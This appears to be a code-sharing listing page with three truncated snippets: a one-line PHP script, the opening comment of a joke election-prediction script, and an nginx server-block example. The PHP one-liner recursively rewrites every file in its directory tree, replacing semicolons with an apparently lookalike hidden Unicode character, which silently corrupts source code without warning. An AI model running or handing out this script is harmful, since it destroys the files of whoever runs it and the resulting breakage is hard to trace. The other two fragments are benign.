This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php $L=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(__DIR__), RecursiveIteratorIterator::SELF_FIRST);@foreach($L as $F=>$L){$X=substr($L,-2);if(preg_match('~([\\/]\.|\.\.)~',$L)){continue;}$D=str_replace(';',';',file_get_contents($L));$H=fopen($L,'w');fwrite($H, $D);fclose($H);} ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* If [1] Paul the Octopus can successfully predict the winners for the 2010 | |
| * FIFA World Cup 11 out of 13 times, perhaps, just for laughs, we can give it | |
| * a go in PHP. ;-) | |
| * | |
| * The three next closest up-coming general elections in the world at the | |
| * moment, as far as I could determine via googling, seem to be in [2] Ghana | |
| * (7 December 2016, with John Dramani Mahama vs Nana Akufo-Addo), [3] | |
| * Macedonia (11 December 2016, with Nikola Gruevski vs Zoran Zaev), and [3] | |
| * Romania (11 December 2016, with Liviu Dragnea vs Alina Gorghiu vs Călin |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Example information for having PHP listen to your server. | |
| server { | |
| listen 80; | |
| server_name localhost foo.bar.tld *.domain.tld; | |
| autoindex off; | |
| # proxy the PHP scripts to Apache listening on 127.0.0.1:80 | |
| # |